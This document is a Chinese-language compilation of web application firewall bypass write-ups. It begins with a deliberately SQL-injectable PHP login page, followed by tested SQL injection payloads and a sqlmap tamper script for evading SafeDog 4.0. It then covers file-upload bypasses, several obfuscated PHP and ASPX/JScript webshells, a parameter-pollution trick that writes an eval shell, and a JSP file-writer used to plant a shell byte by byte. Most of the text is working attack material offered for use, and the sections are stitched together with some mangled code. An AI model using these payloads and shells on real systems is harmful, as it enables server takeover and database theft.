Bypass安全狗4.0

源代码:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>check</title>
</head>
<?php
$agent = $_SERVER['HTTP_USER_AGENT'];

include 'connection.php';
function LoginCheck()           
{
if (isset($_GET['username']) && isset($_GET['password']) && !empty($_GET['username']) && !empty($_GET['password'])){
    $username = trim(@$_GET['username']);
    $password = trim(@$_GET['password']);
    if (empty($username) || empty($password)) {
        echo"               
            <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
                <br><br><br>
                <h1 style='font-family:verdana;color:red;text-align:center;font-size:40px;'>Not be Empty</h1>
            </body>
            ";
        exit();
    }
  }
  else{
    echo"               
            <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
                <br><br><br>
                <h1 style='font-family:verdana;color:red;text-align:center;font-size:40px;'>Input your username and password</h1>
            </body>
        ";
    exit();
  }

  return array($username,$password);
  }
  function MysqlSelect($conn,$data)           //注册
  {
  $sql = "select * from geekuser where username='".$data[0]."' and password='".$data[1]."'";
  $result = mysqli_query($conn,$sql);
  if ($result) {
    $row = mysqli_fetch_assoc($result);
    if ($row) {
        echo "
            <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
                <br><br><br>
                <h1 style='font-family:verdana;color:red;text-align:center;'>Login Success!</h1><br><br><br>
                </br>
                <p style='font-family:arial;color:#ffffff;font-size:30px;left:650px;position:absolute;'>Hello ".$row['username']."!</p>"."</br></br>
                <p style='font-family:arial;color:#ffffff;font-size:30px;left:650px;position:absolute;'>Your password is '".$row['password']."'</p>
            </body>
            ";
     }else{
        echo "
            <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
                <br><br><br>
                <h1 style='font-family:verdana;color:red;text-align:center;font-size:70px;'>NO,Wrong username password!!!</h1>
            </body>
            ";
     }
     }else {
     echo"               
        <body background='./image/background.jpg' style='background-repeat:no-repeat ;background-size:100% 100%; background-attachment: fixed;'>
            <br><br><br>
            <h1 style='font-family:verdana;color:#ffffff;text-align:center;font-size:15px'>
            ".
            mysqli_error($conn)
            ."</h1>
        </body>";
      }
      }
    $data = LoginCheck();
    MysqlSelect($conn,$data);
    ?>
    </html>

1=1绕过

'and 1=1-- -被拦截:

&符号可以绕

'%261-- -
'%26true-- -
'%260-- -
'%26false-- -

xor同样可以绕:

'Xor 1-- -
'Xor true-- -

'or length(database()=4)-- -会被ban,这样绕:

'%26(length(database/**/())=4)-- -
'%26(ascii(@@version)=53)-- -

这样也可以

1'or -1=-1-- -
1'or -0=-0-- -
...

内敛注释:

1'or /*!1=1*/-- -

或者简单粗暴点的 直接绕过and和or:

/*!11440OR*/
/*!11440AND*/

order by 绕过

%23%0a绕过

order%23%0aby 3

内敛注释加注释绕过:

1'/*!order /*!/*/**/by*/4-- -
1'/*!order /*/*%/**/by*/4-- -
1'/*!order /*!/*/**//**/by*/4-- -
1'/*!order /*!/*/**//*/**/by*/4-- -

同样类似上面绕过and方法:

/*!11440order*/

union select绕过:

利用内敛注释与注释的混淆绕过

1'/*!union/*!/*/**/*/select/**/1,2,'cl4y'-- -       #这个地方select后面的/**/要加,不过如果语句复杂一点就不用加了。

1.png

/*!11440union*/
/*!select/*!/*/**/*/

系统函数绕过

单独的括号和函数名都不会检测,思路就是分开函数名和括号就行:

version ()      #直接空格
user%0a()       #这个地方%0a~%20有很多,类似绕过空格
database/**/()  #注释符
user/*!*/()     #内敛注释
...

函数名绕过

在报错注入的时候可以用这个格式绕过:

/*!extractvalue/*!/*/**/*/
/*!updatexml/*!/*/**/*/
...

information_schema.*绕过

这个地方没有找到方法绕过,不过Mysql>5.6.xmysql 库里增添了两个新表,innodb_index_stats 和 innodb_table_stats 这两个表是数据库自动设置的。存储数据库和对应的数据表。安全狗没有对这两个表检测,详见这篇文章

最后就可以拖库了:

2.png

总结(干货)

有几个万能绕过的payload:
安全狗会正则想要ban掉的字符,比如如果将一个参数分割之后union select两个单词顺序出现就会ban掉,这里就利用正则的缺陷,让union或select不能单独分离出来,就可以绕过,比如这几个payload:

#针对两个关键字连用或者函数
/*!union/*!/*/**/*/select/**/
/*!database/*!/*/**/*/()/**/
/*!order/*!/*/**/*/by/**/
#针对单独的一个关键字
/*!union/*!/*/**/*/
/*!updatexml/*!/*/**/*/
/*!extractvalue/*!/*/**/*/

以上亲测好用,我觉得有这种payload,安全狗就是纸窗户qwq。

最后附上tamper脚本:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-

from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST

def dependencies():
pass

def tamper(payload, **kwargs):

if payload:
    payload=payload.replace("=","/*!*/=/*!*/")
    payload=payload.replace("ORDER","/*!ORDER/*!/*/**/*/")
    payload=payload.replace("AND","/*!AND/*!/*/**/*/")
    payload=payload.replace("OR","/*!OR/*!/*/**/*/")
    payload=payload.replace("UNION","/*!UNION/*!/*/**/*/")
    payload=payload.replace("SELECT","/*!SELECT/*!/*/**/*/")
    payload=payload.replace("USER()","/*!USER/*!/*/**/*/()/**/")
    payload=payload.replace("DATABASE()","/*!DATABASE/*!/*/**/*/()/**/")
    payload=payload.replace("VERSION()","/*!VERSION/*!/*/**/*/()/**/")
    payload=payload.replace("SESSION_USER()","/*!SESSION_USER/*!/*/**/*/()/**/")
    payload=payload.replace("EXTRACTVALUE","/*!EXTRACTVALUE/*!/*/**/*/()/**/")
    payload=payload.replace("UPDATEXML","/*!UPDATEXML/*!/*/**/*/")

return payload

文件上传Bypass安全狗4.0

环境是win+apache2.4+安全狗4.0

大致思路呢,就是考虑到安全狗在检测的时候,是正则常规request包,但是apache处理request包的时候有容错,这就造成了差异性,安全狗就会提取不出应该提取的部分,从而绕过

文件名回车绕过:

3.png

==绕过

4.png

双写filename=;(诡异的request包)

5.png

%00截断
在文件名后面加上%00然后CTRL+SHIFT+U转成字符,这里后面不用加.jpg也可以

6.png

给一个GitHub免杀一句话的项目:点击这里

然后整了一些过waf的马:

<?php
$a='ass';
$b='ert';
$funcName=$a.$b  //assert
$x='funcName';
$$x($_REQUEST['Name']);
?>

<?php
class User {
public $name='';
function __destruct(){
    eval("$this->name");
}
}
$user=new User;
$user->name=''.$_REQUEST['a'];
?>

<?php
function a($a){
return $a;}
eval (a($_REQUEST)['hh']);
?>

环境介绍

Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.
waf:某不知名waf

漏洞点情况:

新建模板处,可以直接写入内容到文件:

1.png

但是一写入正常的aspx语句就被拦截,连简单的输出语句都不行:

2.png

bypass过程

一开始也试过诸多绕过方法,包括各种常见编码、chunked编码等等,都不太行。
然后尝试了一下,看有没有http参数污染(两个code参数):

3.png

访问下生成的aspx文件:

4.png

可以看到确实是可以的,但是中间有个逗号,我们该怎么利用来写入aspx文件呢?
比如一个最简单的输出hello world:

<%@Page Language="C#"%> <% Response.Write("hello,world"); %>

之前我们通过测试知道<% Response.Write("hello,world"); %>这个会被waf拦截,删掉<%之后呢?

5.png

可以看到成功上传,那么思路就来了,将<%%>拆分就行,但是怎么让服务器忽略掉那个逗号呢?
自然是使用注释。
aspx是支持 “//”的注释方式的,然后我们需要使用换行,把我们的内容换到下一行避免被注释,于是:

6.png

看看生成的文件:

7.png

然后我们试着拆分前面被拦截的那个输出hello world的语句:

code=<%@Page Language="C#"%><% //&code=%0aResponse.Write("hello,world"); %>

8.png

成功生成:

9.png

Getshell

经过了好一番尝试,发现waf还过滤了Request等关键词,eval()可以上传,但是括号里面有内容比如eval(xxx)就不行。
参考了这篇文章里的注释符号:
https://www.cnblogs.com/xiaozi/p/7566795.html
将 eval(a)
拆分为

eval/*-/*-*/(a/*,*/)

Request就直接用加号进行连接,比如:"Req"+"uest"

最终结合hpp来利用,上传菜刀一句话的payload为:

code=<%@ Page Language = Jscript %><% //&code=%0avar+a%3d"ev"%2b"al"%2b"(Reque"%2b"st.Item[\"c"%2b"o\"],"%2b"\"uns"%2b"afe\")%3b"%3b eval/*-/*-*/(a/*&code=*/);%>

这个生成的文件内容应该是:

<%@ Page Language = Jscript %><%//,

var a="ev"+"al"+"(Reque"+"st.Item["c"+"o"],"+""uns"+"afe");"; eval/-/-/(a/,*/);%>

上传:

10.png

成功拿到一个菜刀shell,当然,菜刀因为waf的原因不能用:

11.png

eval都行了,还怕拿不到shell?

前言

在这个waf横行的年代,绕waf花的时间比找漏洞还多,有时候好不容易找到个突破口,可惜被waf拦得死死的。。。
这里总结下我个人常用的文件上传绕过waf的方法,希望能起到抛砖引玉的效果,得到大佬们指点下。

常见情况

下面总结下我经常遇到的情况:

一.检测文件扩展名

很多waf在上传文件的时候会检测文件扩展名,这个时候又能细分几种情况来绕过。

1.寻找黑名单之外的扩展名

比如aspx被拦截,来个ashx就行了;jsp被拦截可以试试jspx、JSp等等。这个简单,无需赘述。

2.构造畸形的数据包,“打乱”waf的检测

这个方法,又能细分出很多来,而且屡试不爽,这里总结下我个人常用的

(1) 删掉content-type
(2) 构造多个filename

比如这样:

1.jpg

又或者这样:

2.jpg

(3) 把filename参数变畸形

正常的数据包,是这样:

Content-Disposition: form-data; name="file"; filename="100x100.jsp"

waf拦截了:

3.jpg

把filename变成这样(后面多了个双引号):

Content-Disposition: form-data; name="file"; filename="100x100.jsp""

可以看到waf直接拉垮了:

4.jpg

二.检测文件内容

一般来说,waf也会检测文件内容。这个时候被检测往往是一些敏感的“关键词”,比如exec()、eval()这些函数。这个时候怎么办呢?

1.图片马

“上古时期”经常用这个绕waf什么的,现在估计不太行了。

2.文件包含

利用php远程文件包含或者java反射调用外部jar等等操作。可是有时候连带有文件包含功能的函数也会被检测。。。

3.替换被检测的内容

这个是我用得比较多的方法。
比如java中Runtime.getRuntime().exec()经常被杀或者被拦截,这里可以通过调用ProcessBuilder类来实现相同的功能。

参考:
https://www.cnblogs.com/sevck/p/7069251.html
https://github.com/huyuanzhi2/fuck_waf_jspx

亲测可以绕过YxlinkWAF
又比如,fileOutputStream被拦截时:

5.jpg

我可以用RandomAccessFile来替代:

6.jpg

这个方法往往需要花很长时间,通过不断的删改来定位被检测的内容,去查阅资料文档来找可以替代的函数或者类。

4."曲线救国"

当我们没办法直接上传shell的时候,可以先上传一些小功能的脚本,比如写文件,cmdshell等等:
然后利用写文件或者cmdshell来写入shell,来达到我们的目的。
比如windows cmd下不换行输入来拆分eval:

>>d:\xxx\dao.aspx set/p=^<%@ Page Language="Jscript"%^>
>>d:\xxx\dao.aspx set/p=^<%ev
>>d:\xxx\dao.aspx set/p=al(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["zz"])))),"unsafe");%^>

又比如利用之前我们上传的写文件函数,一个字节一个字节的将shell写进去。
先将我们的冰歇shell.jsp拆开:

7.jpg

然后利用之前绕过waf上传的写文件脚本:

<%@ page import="java.io.*" %>
<%
RandomAccessFile randomFile = new RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw");
long fileLength = randomFile.length();
randomFile.seek(fileLength);
randomFile.write(request.getParameter("c").getBytes()); 
%>

参数 f=/shell.jsp&c=

结合burp的intruder把冰歇马给写进去:

8.jpg

结语

waf,真是个让人头疼的东西。

绕过 and 1=1

这种很显然直接被拦截,这里进行fuzz

1.png

and 1 like 1   拦截
and  /*!1=1*/  不拦截
and  hex(1)  不拦截
%23%0a  1=1    拦截

绕过order by

发现单个order不拦截 单个by不拦截 只要order by 结合就被拦截

2.png

安全狗他拦截哪里我们就绕哪里

order%23%0aby 1 不拦截

3.png

order /*!by */ 1 拦截

4.png

order --+%0a  by 拦截

5.png

一般安全狗这种对查询中间添加一些无用数据就不会拦截 order xxx by
order all by 1不拦截 但是这种查询语句就无效的,这里我们就要想办法给他给注释掉

6.png

order --+all%0a by 1 不拦截 且语句有效

7.png

绕过union select

还是单个union不拦截 单个select不拦截 只要union select 结合就被拦截,还是跟order by绕过一样添加数据绕过安全狗的匹配
union%23%0aselect 被拦截
union--+%0aselect 被拦截
union%23xxx%0aselect 不拦截
union-- xxx%0aselect 不拦截
union--+xxx%0aselect 不拦截
这里还有个绕过方法安全狗不会对/ /里面内容进行校验,可以从这里入手
/&ID=-17 union select 1,2,3,4,5,6,7,8,9,10,11,12,13%23/ 不拦截

8.png

这里就是通过一个注释符%23把后面 \/ 形成一个完整的sql语句,也可以通过其他注释符进行注释.

9.png

ID=-17 "/" union select 1,2,3,4,5,6,7,8,9,10,11,12,13 "/" 不拦截 ,但是这个前提条件对方不开gpc或者使用addslashes()函数要不然单双引号被转义

绕过系统函数

database() -->database/**/()
database() -->database/*!()*/
user()  --> user/**/() 
user() -->user/*!()*/

等等,基本上这个/**/就可以绕过了系统函数

绕过查询数据库表

如果这里我们使用联合查询第二种在里面进行查询的话,就不需要绕过直接构造正常语句就可以进行查询

?/*&ID=-17 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=database()%23*/

10.png

如果这里我们不使用上面那种方法,来进行绕过.
这里 使用%23njjknjk%0a来绕过union select , from information_schema.tables,这里面%23这里可以随意添加数据%0a,如果转义了单双号进行hex编码绕过

?ID=-17 union %23njjknjk%0a select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13 from%23njjknjk%0ainformation_schema.tables%23njjknjk%0awhere%20table_schema=0x73685f6a7a%20--+

11.png